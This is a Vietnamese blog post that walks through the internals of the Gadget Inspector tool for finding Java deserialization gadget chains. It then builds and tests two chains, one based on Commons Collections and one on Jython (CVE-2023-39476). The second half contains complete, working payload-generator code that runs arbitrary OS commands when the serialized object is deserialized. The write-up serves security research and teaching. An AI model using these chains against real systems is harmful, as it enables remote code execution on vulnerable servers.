Gadget Inspector 101

Chuyện là gần đây người em cùng team lên bài phân tích một lỗ hổng deserialize mới, sử dụng Gadget chain mới là Jython2, mình mới thắc mắc làm sao người ta tìm được gadget mới. Mình có biết về tool Gadget Inspector nhưng ít khi làm java, thành ra cũng không hiểu tool nó làm cái gì bên trong. Nhân dịp này đi sâu vào code một chút xem thế nào.


Analysis

Gadget Inpector khởi chạy từ hàm Main của lớp GadgetInspector. Đoạn mã chính như bên dưới, các step cực kỳ rõ ràng

image

Bước 1: Methods and classes discovery

Đoạn này hiểu đơn giản Gadget Inspector thực hiện tìm kiếm toàn bộ method bên trong toàn bộ class của file jar/war thông qua lớp MethodDiscovery. Bên trong lớp này chứa lớp con MethodDiscoveryClassVisitor kế thừa từ lớp ClassVisitor để duyệt qua các thuộc tính của class. Sau khi hoàn tất, danh sách class được lưu vào file classes.dat và danh sách method được lưu vào methods.dat, cùng xem và hiểu cấu trúc mỗi entry bên trong 2 file này

classes.dat

Trong phạm vi bài viết mình sử dụng kết quả khi chạy Gadget Inspector với lib Common-collections-3.1. Một entry trong class.dat có dạng như sau

com/google/common/base/CaseFormat$StringConverter    com/google/common/base/Converter    java/io/Serializable    false    sourceFormat!18!com/google/common/base/CaseFormat!targetFormat!18!com/google/common/base/CaseFormat

Cấu trúc của entry này như sau

  • Tên class -> com/google/common/base/CaseFormat$StringConverter

  • Parent classes -> com/google/common/base/Converter, nếu class không kế thừa lớp nào mặc định trường này sẽ sử dụng java/lang/Object

  • Interfaces -> java/io/Serializable

  • Có phải interface hay không -> false

  • Các biến bên trong class -> sourceFormat!18!com/google/common/base/CaseFormat!targetFormat!18!com/google/common/base/CaseFormat

Đại diện cho entry này là class ClassReference

image

methods.dat

Một entry có dạng như sau

com/sun/org/apache/xpath/internal/axes/AxesWalker    cloneDeep    (Lcom/sun/org/apache/xpath/internal/axes/WalkingIterator;Ljava/util/Vector;)Lcom/sun/org/apache/xpath/internal/axes/AxesWalker;    false
  • Tên class -> com/sun/org/apache/xpath/internal/axes/AxesWalker

  • Tên method -> cloneDeep

  • Các arguments -> (Lcom/sun/org/apache/xpath/internal/axes/WalkingIterator;Ljava/util/Vector;)

  • Kiểu trả về của method -> Lcom/sun/org/apache/xpath/internal/axes/AxesWalker

  • Là static method -> false

Lưu ý các ký tự I -> int, Z -> boolean, V -> void, ...

Xây dựng quan hệ

Hàm save được sử dụng để tạo hai file ở trên

public void save() throws IOException {
    DataLoader.saveData(Paths.get("classes.dat"), new ClassReference.Factory(), discoveredClasses);
    DataLoader.saveData(Paths.get("methods.dat"), new MethodReference.Factory(), discoveredMethods);
    Map<ClassReference.Handle, ClassReference> classMap = new HashMap<>();
    for (ClassReference clazz : discoveredClasses) {
        classMap.put(clazz.getHandle(), clazz);
    }
    InheritanceDeriver.derive(classMap).save();
}

Sau khi ghi classes và methods, Gadget Inspector tiếp tục tạo file inheritanceMap.dat lưu mối quan hệ kế thừa giữa các class

com/sun/jmx/snmp/agent/SnmpMibGroup    java/io/Serializable    java/lang/Object    com/sun/jmx/snmp/agent/SnmpMibOid    com/sun/jmx/snmp/agent/SnmpMibNode
  • Tên class -> com/sun/jmx/snmp/agent/SnmpMibGroup

  • Toàn bộ class hoặc interface mà class kế thừa -> java/io/Serializable java/lang/Object com/sun/jmx/snmp/agent/SnmpMibOid com/sun/jmx/snmp/agent/SnmpMibNode

Bước 2: Passthrough discovery

Bước này xác định quan hệ của cách tính giá trị return với các biến cục bộ hoặc params của hàm. Đại khái check xem đoạn return của hàm có sử dụng biến cục bộ của class hay params truyền vào hàm hay không. Hàm discovery như sau

public void discover(final ClassResourceEnumerator classResourceEnumerator, final GIConfig config) throws IOException {
    // Load methods, inheritance, classes
    Map<MethodReference.Handle, MethodReference> methodMap = DataLoader.loadMethods();
    Map<ClassReference.Handle, ClassReference> classMap = DataLoader.loadClasses();
    InheritanceMap inheritanceMap = InheritanceMap.load();

    // Get method calls
    Map<String, ClassResourceEnumerator.ClassResource> classResourceByName = discoverMethodCalls(classResourceEnumerator);

    // sort method calls using Topology algorythm
    List<MethodReference.Handle> sortedMethods = topologicallySortMethodCalls();

    // Calculate dataflow
    passthroughDataflow = calculatePassthroughDataflow(classResourceByName, classMap, inheritanceMap, sortedMethods,
            config.getSerializableDecider(methodMap, inheritanceMap));
}

Bên trong hàm discoverMethodCalls sử dụng lớp con MethodCallDiscoveryClassVisitor và MethodCallDiscoveryMethodVisitor bên trong PassthroughDiscovery để lấy ra thông tin các lời gọi hàm. Lớp này kế thừa từ các lớp ClassVisitor mà MethodVisitor thuộc ASM framework trong java, theo trang chủ, framework này dùng để phân tích và thao tác trên java bytecode. Kết quả phân tích lời gọi hàm được lưu vào biến methodCalls, một entry của biến này có dạng như sau

hàm writePayloadTo của lớp com/sun/xml/internal/ws/encoding/xml/XMLMessage$XMLMultiPart gọi đến hàm getMessage của chính lớp này (key là hàm gọi, value là hàm được gọi). Sau khi có dược danh sách methodCalls, hàm topologicallySortMethodCalls được sử dụng để sắp xếp lại sử dụng thuật toán DFS

private List<MethodReference.Handle> topologicallySortMethodCalls() {
    Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences = new HashMap<>();
    for (Map.Entry<MethodReference.Handle, Set<MethodReference.Handle>> entry : methodCalls.entrySet()) {
        MethodReference.Handle method = entry.getKey();
        outgoingReferences.put(method, new HashSet<>(entry.getValue()));
    }
    // Topological sort methods
    LOGGER.debug("Performing topological sort...");
    Set<MethodReference.Handle> dfsStack = new HashSet<>();
    Set<MethodReference.Handle> visitedNodes = new HashSet<>();
    List<MethodReference.Handle> sortedMethods = new ArrayList<>(outgoingReferences.size());
    for (MethodReference.Handle root : outgoingReferences.keySet()) {
        dfsTsort(outgoingReferences, sortedMethods, visitedNodes, dfsStack, root);
    }
    LOGGER.debug(String.format("Outgoing references %d, sortedMethods %d", outgoingReferences.size(), sortedMethods.size()));
    return sortedMethods;
}

Về DFS sort bạn có thể tham khảo thêm tại đây. Nôm na với danh sách methodCalls mình sẽ tạo ra một sorted list để biểu thị cho 1 đồ thị có hướng. Thuật toán DFS sẽ từ 1 node cố gắng đi đến node sâu nhất có thể, khi gặp điểm cuối không thể đi được đến node khác nữa mới quay lại tìm đường khác. Thuật toán này sẽ cho ra kết quả khác nhau tùy theo node bắt đầu. Cuối cùng danh sách sắp xếp được lưu vào biến sortedMethods. Tuy nhiên biến này sẽ được sắp xếp ngược lại, quan sát ví dụ bên dưới để hiểu

public String parentMethod(String arg){
    String vul = Obj.childMethod(arg);
    return vul;
}

và childMethod

public String childMethod(String carg){
    return carg.toString();
}

Kết quả của Passthrough phụ thuộc vào quan hệ giữa lời gọi hàm con và các argument của hàm cha như trong ví dụ trên, return của hàm con có sử dụng arg của hàm cha. Để nhìn được điều này cần xem xét từ return của hàm con trước, do đó sortedMethods sẽ được sắp xếp ngược lại.

Như đã nêu qua ở trên, thuật toán DFS sẽ ưu tiên đi sâu nhất có thể từ node root, vậy nếu graph có mạch vòng thì sao, ứng dụng sẽ dính dead loop. Để tránh điều này, tác giả sử dụng biến visitedNodes, khi duyệt qua 1 node sẽ kiểm tra nó có trong visitedNodes không, nếu có thì sẽ return

private static void dfsTsort(Map<MethodReference.Handle, Set<MethodReference.Handle>> outgoingReferences,
                                List<MethodReference.Handle> sortedMethods, Set<MethodReference.Handle> visitedNodes,
                                Set<MethodReference.Handle> stack, MethodReference.Handle node) {
    if (stack.contains(node)) {
        return;
    }
    if (visitedNodes.contains(node)) {
        return;
    }
    Set<MethodReference.Handle> outgoingRefs = outgoingReferences.get(node);
    if (outgoingRefs == null) {
        return;
    }
    stack.add(node);
    for (MethodReference.Handle child : outgoingRefs) {
        dfsTsort(outgoingReferences, sortedMethods, visitedNodes, stack, child);
    }
    stack.remove(node);
    visitedNodes.add(node);
    sortedMethods.add(node);
}

Tuy nhiên điều này có một vấn đề, giả sử có 2 đường đi hợp lệ là A -> B -> C và A -> B -> X hợp lệ, khi xác định đường A -> B -> C trước thì B đã nằm trong visitedNodes, khi đó đường A -> B -> X sẽ không được thêm vào list. Sau cùng sortedMethos được đi qua hàm calculatePassthroughDataflow để generate file passthrough.dat. Cấu trúc của một entry tương đối khó hiểu

com/google/common/collect/ImmutableSortedMap    subMap    (Ljava/lang/Object;Ljava/lang/Object;)Ljava/util/SortedMap;    0,1,2,
  • Tên class -> com/google/common/collect/ImmutableSortedMap

  • Tên hàm -> subMap

  • Tham số hàm -> (Ljava/lang/Object;Ljava/lang/Object;)

  • Kiểu trả về -> Ljava/util/SortedMap;

  • ???? -> 0,1,2,

Qua tìm hiểu slide gốc của tác giả ở Blackhat, mình hiểu là nó liên quan đến return của hàm, nhưng vẫn không hiểu sao lại có chỗ 0,1,2, chỗ thì mỗi 3,5. Sau đó mình tự đối chiếu, trace hàm, class, xem xét 1 số entry khác thì rút ra được nguyên tắc của đống này. Nếu hàm return có sử dụng biến cục bộ của class -> 0. Nếu hàm return có sử dụng các param của hàm -> đánh theo index của param. Xem xét hàm subMap từ entry trên

@Override
public ImmutableSortedMap<K, V> subMap(K fromKey, K toKey) {
  return subMap(fromKey, true, toKey, false);
}
  • Ta thấy đoạn return có sử dụng hàm subMap khác, là hàm cục bộ của class ImmutableSortedMap, do dó có 0

  • Đoạn return có sử dụng param đầu là fromKey -> 1

  • Đoạn return có sử dụng param thứ 2 là toKey -> 2

Từ đó mới có đoạn 0,1,2.

Step 3: Discover callgraph từ passthrough

Bước này tương tự bước hay nhưng thay đoạn return thành các hàm con, là giá trị của các hàm con được gọi bên trong hàm này có bị ảnh hưởng bởi biến cục bộ của class hay params hay không. Nói hơi khó hiểu, ví dụ 1 entry bên dưới

com/sun/org/apache/xerces/internal/impl/dtd/XMLDTDDescription    <init>    (Lcom/sun/org/apache/xerces/internal/xni/XMLResourceIdentifier;Ljava/lang/String;)V    com/sun/org/apache/xerces/internal/xni/XMLResourceIdentifier    getBaseSystemId    ()Ljava/lang/String;    1        0

Ở đây <init> là constructor, hàm constructor của XMLDTDDescription gọi đến hàm getBaseSystemId của lớp XMLResourceIdentifier. Để hiểu được đoạn 1 0 sau cùng ta cùng xem hàm constructor

// Constructors:
    public XMLDTDDescription(XMLResourceIdentifier id, String rootName) {
        this.setValues(id.getPublicId(), id.getLiteralSystemId(),
                id.getBaseSystemId(), id.getExpandedSystemId());
        this.fRootName = rootName;
        this.fPossibleRoots = null;
    } // init(XMLResourceIdentifier, String)
  • Biến id xuất phát từ param đầu tiên -> 1 (quy tắc this -> 0, params -> 1,2,3,.... tương tự như đã giải thích ở bước trước)

  • Biến id được sử dụng bên trong hàm setValues là hàm cục bộ do gọi từ this -> 0

kết quả bước này được lưu vào callgraph.dat

Step 4: Search For Available Sources

Bước này xác định các method có thể được xem là source dựa vào cơ chế ser-deser. Ví dụ: khi sử dụng proxy làm điểm đầu của chain, hàm invoke của lớp kế thừa lớp java/lang/reflect/InvocationHandler đều có thể là source. Kết quả của bước này tương đối dễ nhìn dễ hiểu

Bước 5: Gadgetchain discovery

Bước này duyệt qua tất cả các source và tìm đệ quy tất cả lệnh gọi phương thức con có thể tiếp tục truyền tham số (sử dụng kết quả trong callgraph.dat) cho đến khi gặp phương thức trong sink. Nôm na bước này là xây dựng một tree và tìm tất cả đường đi có điểm cuối là sink (leaf node). Quá trình duyệt cây sử dụng thuật toán BFS. Tương tự như DFS khi xây dựng callgraph, ở đây BFS cũng sử dụng biến exploredMethods để tránh dead loop ===> 1 False Positive sẽ khiến bạn bỏ lỡ có thể nhiều TP.

while (methodsToExplore.size() > 0) {
    if ((iteration % 1000) == 0) {
        LOGGER.info("Iteration " + iteration + ", Search space: " + methodsToExplore.size());
    }
    iteration += 1;
    // Lay phan tu torng danh sach quet
    GadgetChain chain = methodsToExplore.pop();
    GadgetChainLink lastLink = chain.links.get(chain.links.size()-1);
    Set<GraphCall> methodCalls = graphCallMap.get(lastLink.method);
    if (methodCalls != null) {
        for (GraphCall graphCall : methodCalls) {
            if (graphCall.getCallerArgIndex() != lastLink.taintedArgIndex) {
                continue;
            }
            Set<MethodReference.Handle> allImpls = implementationFinder.getImplementations(graphCall.getTargetMethod());
            for (MethodReference.Handle methodImpl : allImpls) {
                GadgetChainLink newLink = new GadgetChainLink(methodImpl, graphCall.getTargetArgIndex());
                if (exploredMethods.contains(newLink)) {
                    continue;
                }
                GadgetChain newChain = new GadgetChain(chain, newLink);
                if (isSink(methodImpl, graphCall.getTargetArgIndex(), inheritanceMap)) {
                    discoveredGadgets.add(newChain);
                } else {
                    methodsToExplore.add(newChain);
                    exploredMethods.add(newLink);
                }
            }
        }
    }
}

Hiện các sink bên dưới được sử dụng, đoạn này trong quá trình tích luỹ kiến thức có thể add thêm sink mới (rõ ràng việc hiểu và tối ưu tool tốt hơn như là mài sắc một thanh đao vậy)

private boolean isSink(MethodReference.Handle method, int argIndex, InheritanceMap inheritanceMap) {
    if (method.getClassReference().getName().equals("java/io/FileInputStream")
            && method.getName().equals("<init>")) {
        return true;
    }
    if (method.getClassReference().getName().equals("java/io/FileOutputStream")
            && method.getName().equals("<init>")) {
        return true;
    }
    if (method.getClassReference().getName().equals("java/nio/file/Files")
        && (method.getName().equals("newInputStream")
            || method.getName().equals("newOutputStream")
            || method.getName().equals("newBufferedReader")
            || method.getName().equals("newBufferedWriter"))) {
        return true;
    }
    if (method.getClassReference().getName().equals("java/lang/Runtime")
            && method.getName().equals("exec")) {
        return true;
    }
    // If we can invoke an arbitrary method, that's probably interesting (though this doesn't assert that we
    // can control its arguments). Conversely, if we can control the arguments to an invocation but not what
    // method is being invoked, we don't mark that as interesting.
    if (method.getClassReference().getName().equals("java/lang/reflect/Method")
            && method.getName().equals("invoke") && argIndex == 0) {
        return true;
    }
    if (method.getClassReference().getName().equals("java/net/URLClassLoader")
            && method.getName().equals("newInstance")) {
        return true;
    }
    if (method.getClassReference().getName().equals("java/lang/System")
            && method.getName().equals("exit")) {
        return true;
    }
    if (method.getClassReference().getName().equals("java/lang/Shutdown")
            && method.getName().equals("exit")) {
        return true;
    }
    if (method.getClassReference().getName().equals("java/lang/Runtime")
            && method.getName().equals("exit")) {
        return true;
    }
    if (method.getClassReference().getName().equals("java/nio/file/Files")
            && method.getName().equals("newOutputStream")) {
        return true;
    }
    if (method.getClassReference().getName().equals("java/lang/ProcessBuilder")
            && method.getName().equals("<init>") && argIndex > 0) {
        return true;
    }
    if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("java/lang/ClassLoader"))
            && method.getName().equals("<init>")) {
        return true;
    }
    if (method.getClassReference().getName().equals("java/net/URL") && method.getName().equals("openStream")) {
        return true;
    }

    if (method.getClassReference().getName().equals("org/codehaus/groovy/runtime/InvokerHelper")
            && method.getName().equals("invokeMethod") && argIndex == 1) {
        return true;
    }
    if (inheritanceMap.isSubclassOf(method.getClassReference(), new ClassReference.Handle("groovy/lang/MetaClass"))
            && Arrays.asList("invokeMethod", "invokeConstructor", "invokeStaticMethod").contains(method.getName())) {
        return true;
    }
    if (method.getClassReference().getName().equals("org/python/core/PyCode") && method.getName().equals("call")) {
        return true;
    }

    return false;
}

Trên đây là toàn bộ những gì diễn ra bên trong Gadget inspector. Kết luận lại tool này vẫn còn nhiều vấn đề, dẫn đến việc khả năng miss chain vẫn còn tương đối, cơ chế chống dead loop vô tình để mất nhiều khả năng tìm ra chain hợp lệ. Thay vì sử dụng biến để lưu lại các node đã đi qua thì có thể đếm số lần visit qua một node, nếu lớn hơn 1 giá trị nhất định thì mới dừng duyệt. Hoặc theo mình nghĩ có thể áp dụng độ sâu tối đa trong quá trình duyệt, tuy nhiên mình cũng chưa thử.

Try to use

Lệnh chạy Gadget inspector tương đối đơn giản

java -jar gadget-inspector-all.jar D:\assets\download\commons-collections-3.1.jar

hoặc nếu bạn muốn chạy toàn bộ lib jar trong 1 folder

java -jar gadget-inspector-all.jar D:\assets\project\*.jar

Kết quả là một đống bùi nhùi như sau

image

trong đó thông tin các gadget tìm được được lưu vào gadget-chains.txt. Để xác định chain là FP hay TP, đương nhiên chỉ còn cách tự code lại một hàm generate thôi. Ở đây mình vẫn sử dụng lib commons-collections-3.1.jar làm ví dụ, rõ ràng là miss hết các gadget chain CommonsCollections1, CommonsCollections5, CommonsCollections6, CommonsCollections7 đều trên lib này @@

image

Gadget chain được biểu diễn theo top down thì đương nhiên để code phần generate ta sẽ code từ bottom up. Đầu tiên xuất phát từ InvokerTransformer.transform, ở đây mình dùng luôn đoạn code của gadget CommonsCollections1.

final String[] execArgs = new String[] { command };
// inert chain for setup
final Transformer transformerChain = new ChainedTransformer(
        new Transformer[]{ new ConstantTransformer(1) });
// real chain for after setup
final Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[] {
                String.class, Class[].class }, new Object[] {
                "getRuntime", new Class[0] }),
        new InvokerTransformer("invoke", new Class[] {
                Object.class, Object[].class }, new Object[] {
                null, new Object[0] }),
        new InvokerTransformer("exec",
                new Class[] { String.class }, execArgs),
        new ConstantTransformer(1) };
Field field1 = transformerChain.getClass().getDeclaredField("iTransformers");
field1.setAccessible(true);
field1.set(transformerChain, transformers);

3 dòng cuối sử dụng Reflection để thay đổi biến iTransformers do biến này để private, tiếp thep là tạo lazymap

final Map innerMap = new HashMap();
final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

Tiếp theo cần đọc code của CompositeInvocationHandlerImpl để xem nhét lazymap vào thế nào. Hàm invoke của lớp này như sau

Như vậy lazymap sẽ nhét vào biến classToInvocationHandler.

final CompositeInvocationHandlerImpl handler = new CompositeInvocationHandlerImpl();
Field field = handler.getClass().getDeclaredField("classToInvocationHandler");
field.setAccessible(true);
field.set(handler, lazyMap);

Lớp CompositeInvocationHandlerImpl kế thừa InvocationHandler, là lớp được sử dụng trong kỹ thuật proxy class trong java. Vậy làm sao để hàm invoke của lớp này được chạy tự động trong quá trình deserialize? Vì lớp này bản chất cũng không implement Serializable. Như vậy túm lại là mình cần 1 class implement Serializable, khi deser sẽ kích hoạt hàm invoke của CompositeInvocationHandlerImpl. Tham khảo gadget BeanShell1 trong ysoserial mình thấy tác giả sử dụng PriorityQueue để trigger hàm invoke như sau, đầu tiên tạo Comparator thông qua proxy class để sử dụng cho queue, đương nhiên lúc này truyền vào tham số handler mình đã tạo ở trên

Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

Sau đó tạo PriorityQueue

// Tạo queue dùng comparator ở trên
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
Object[] queue = new Object[] {1,1};

// Set field queue
field = priorityQueue.getClass().getDeclaredField("queue");
field.setAccessible(true);
field.set(priorityQueue, queue);

// Set field size
field = priorityQueue.getClass().getDeclaredField("size");
field.setAccessible(true);
field.set(priorityQueue, 2);

Tóm lại code mình sử dụng để verify gadget chain này như sau

public class Main {

    public static PriorityQueue getChain(final String command) throws Exception {
        final String[] execArgs = new String[] { command };
        // inert chain for setup
        final Transformer transformerChain = new ChainedTransformer(
                new Transformer[]{ new ConstantTransformer(1) });
        // real chain for after setup
        final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class, Class[].class }, new Object[] {
                        "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class, Object[].class }, new Object[] {
                        null, new Object[0] }),
                new InvokerTransformer("exec",
                        new Class[] { String.class }, execArgs),
                new ConstantTransformer(1) };

        Field field1 = transformerChain.getClass().getDeclaredField("iTransformers");
        field1.setAccessible(true);
        field1.set(transformerChain, transformers);

        final Map innerMap = new HashMap();

        final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);

        final CompositeInvocationHandlerImpl handler = new CompositeInvocationHandlerImpl();
        Field field = handler.getClass().getDeclaredField("classToInvocationHandler");
        field.setAccessible(true);
        field.set(handler, lazyMap);

        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);

        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
        Object[] queue = new Object[] {1,1};
        field = priorityQueue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        field.set(priorityQueue, queue);

        field = priorityQueue.getClass().getDeclaredField("size");
        field.setAccessible(true);
        field.set(priorityQueue, 2);

        return priorityQueue;
    }

    public static void GeneratePayload(Object instance, String file)
            throws Exception {
        //Serialize the constructed payload and write it to the file
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(f.toPath()));
        out.writeObject(instance);
        out.flush();
        out.close();
    }

    public static void payloadTest(String file) throws Exception {
        //Read the written payload and deserialize it
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(file)));
        Object obj = in.readObject();
        System.out.println(obj);
        in.close();
    }

    public static void main(String[] args) throws Exception {
        GeneratePayload(getChain("calc.exe"), "test.ser");
        payloadTest("test.ser");
    }
}

Ví dụ ở trên có thể dựng và verify tương đối nhanh do nhiều bước ở trong chain đã được code ở trong chain khác. Thử code lại chain mới của CVE-2023-39476 Jython2 xem sao. Gadget Inspector chạy ra được tương đối nhiều kết quả tuy nhiên k giống chain của tác giả

image

Ở nửa cuối chain gọi đến org.python.core.BuiltinFunctions.__call__ -> __builtin__.eval

public PyObject __call__(PyObject arg1) {
    switch (this.index) {
        case 0:
            return Py.newString(__builtin__.chr(Py.py2int(arg1, "chr(): 1st arg can't be coerced to int")));
        ...
        case 16:
            return __builtin__.dir(arg1);
        case 18:
            return __builtin__.eval(arg1);
        case 19:
            __builtin__.execfile(Py.fileSystemDecode(arg1));
            return Py.None;
        case 23:
            return __builtin__.hex(arg1);
        ...
    }
}

Khi index=18 thì hàm __call__ sẽ gọi eval -> Py.runCode chạy đoạn python code dạng string? Tóm lại là index cần = 18 và lớp BuiltinFunctions là lớp private do đó cần tạo thông qua reflection

Class<?> BuiltinFunctionalist = Class.forName("org.python.core.BuiltinFunctions");
Constructor<?> c = BuiltinFunctionalist.getDeclaredConstructors()[0];
c.setAccessible(true);
Object builtin = c.newInstance("rce", 18, 1);

Quay lại nửa trên của chain có gọi đến hàm invoke của lớp PyMethod. Class này implements InvocationHandler, do đó đoạn đầu khả năng lại code sử dụng PriorityQueue. Bên trong invoke gọi đến hàm __call__

image

Bên trong hàm __call__ có tham số gọi qua một loạt sau đó gọi hàm instancemethod___call__

image

ở đây gọi hàm __call__ của __func__ mà biến này được gán ở constructor

image

Vậy cơ bản tạo PyMethod sẽ thế này

// Tao BuiltinFunctions
Class<?> BuiltinFunctionalist = Class.forName("org.python.core.BuiltinFunctions");
Constructor<?> c = BuiltinFunctionalist.getDeclaredConstructors()[0];
c.setAccessible(true);
Object builtin = c.newInstance("rce", 18, 1);

// Tao PyMethod
final PyMethod handler = new PyMethod((PyBuiltinFunction) builtin, null, new PyString().getType());

Xong kết hợp PriorityQueue nữa thì có thể nháp qua sương sương thế này về hàm generate

public static PriorityQueue Jython2(final String command) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
    Class<?> BuiltinFunctionalist = Class.forName("org.python.core.BuiltinFunctions");
    Constructor<?> c = BuiltinFunctionalist.getDeclaredConstructors()[0];
    c.setAccessible(true);
    Object builtin = c.newInstance("rce", 18, 1);

    final PyMethod handler = new PyMethod((PyBuiltinFunction) builtin, null, null);

    Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
    final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
    Object[] queue = new Object[] {1,1};
    Field field = priorityQueue.getClass().getDeclaredField("queue");
    field.setAccessible(true);
    field.set(priorityQueue, queue);
    field = priorityQueue.getClass().getDeclaredField("size");
    field.setAccessible(true);
    field.set(priorityQueue, 2);
    return priorityQueue;
}

Sườn cơ bản là thế nhưng chưa có chỗ để nhét command RCE :) Lại xem từ dưới lên nhé hàm __builtin__.eval

image

Hàm này đến hiện tại mình chỉ control được biến o, ở đây chỉ chấp nhận o hoặc là instance của PyCode hoặc là PyString. Constructor của PyString nhận vào 1 tham số String duy nhất nên mình sẽ dùng thằng này

PyString pyCodeStr = new PyString("__import__('os').system('"+command+"')");

Bây giờ cần nhét pyCodeStr vào đâu để xuống đước đến o? Biến này lấy từ arg của hàm PyMethod.invoke ở trên, hàm này khi được kích hoạt sẽ lấy tham số của hàm gốc chính là tham số của hàm Comparator.compare, thế nên mình đoán cứ vứt vào thằng queue là được thay vì Object[] queue = new Object[] {1,1}; thì Object[] queue = new Object[] {pyCodeStr,pyCodeStr}; kết quả là không đơn giản thế

image

Lỗi trả về từ hàm

image

Trace code 1 lúc thì đại khái mình tìm dc hàm này

image

Cần tìm class nào đấy thoả mãn hàm này để nhét vào sau queue là được. Hàm này kiểm tra class có override hàm __getitem__ hay không, thì có một lớp PyStringMap có constructor k nhận tham số nào => dễ dùng ít lỗi :)). Code cuối cùng để test chain này như sau

public class Main {

    public static void GeneratePayload(Object instance, String file)
            throws Exception {
        //Serialize the constructed payload and write it to the file
        File f = new File(file);
        ObjectOutputStream out = new ObjectOutputStream(Files.newOutputStream(f.toPath()));
        out.writeObject(instance);
        out.flush();
        out.close();
    }
    public static void payloadTest(String file) throws Exception {
        //Read the written payload and deserialize it
        ObjectInputStream in = new ObjectInputStream(Files.newInputStream(Paths.get(file)));
        Object obj = in.readObject();
        System.out.println(obj);
        in.close();
    }

    public static PriorityQueue Jython2(final String command) throws InvocationTargetException, InstantiationException, IllegalAccessException, ClassNotFoundException, NoSuchFieldException {
        Class<?> BuiltinFunctionalist = Class.forName("org.python.core.BuiltinFunctions");
        Constructor<?> c = BuiltinFunctionalist.getDeclaredConstructors()[0];
        c.setAccessible(true);
        Object builtin = c.newInstance("rce", 18, 1);

        final PyMethod handler = new PyMethod((PyBuiltinFunction) builtin, null, new PyString().getType());

        Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
        final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);

        PyString pyCodeStr = new PyString("__import__('os').system('"+command+"')");
        Object[] queue = new Object[] {pyCodeStr,new PyStringMap()};

        Field field = priorityQueue.getClass().getDeclaredField("queue");
        field.setAccessible(true);
        field.set(priorityQueue, queue);
        field = priorityQueue.getClass().getDeclaredField("size");
        field.setAccessible(true);
        field.set(priorityQueue, 2);

        return priorityQueue;
    }

    public static void main(String[] args) throws Exception {
        GeneratePayload(Jython2("calc.exe"), "test.ser");
        payloadTest("test.ser");
    }
}

Trên đây là cách hoạt động của Gadget Inspector cũng như ví dụ đơn giản để bạn hiểu cách verify kết quả của tool này thế nào. Cá nhân mình thấy việc hiểu tool, hiểu các gadget chain có sẵn sẽ giúp ích rất nhiều cho việc tìm kiếm gadget mới. Trước mắt bạn có thể thử tối ưu tool này bằng cách thay đổi thuật toán chống dead loop ở đoạn DFS và BFS để cho ra kết quả tốt hơn ^^.

Happy hacking.


References

https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649

https://testbnull.medium.com/the-art-of-deserialization-gadget-hunting-part-3-how-i-found-cve-2020-2555-by-known-tools-67819b29cb63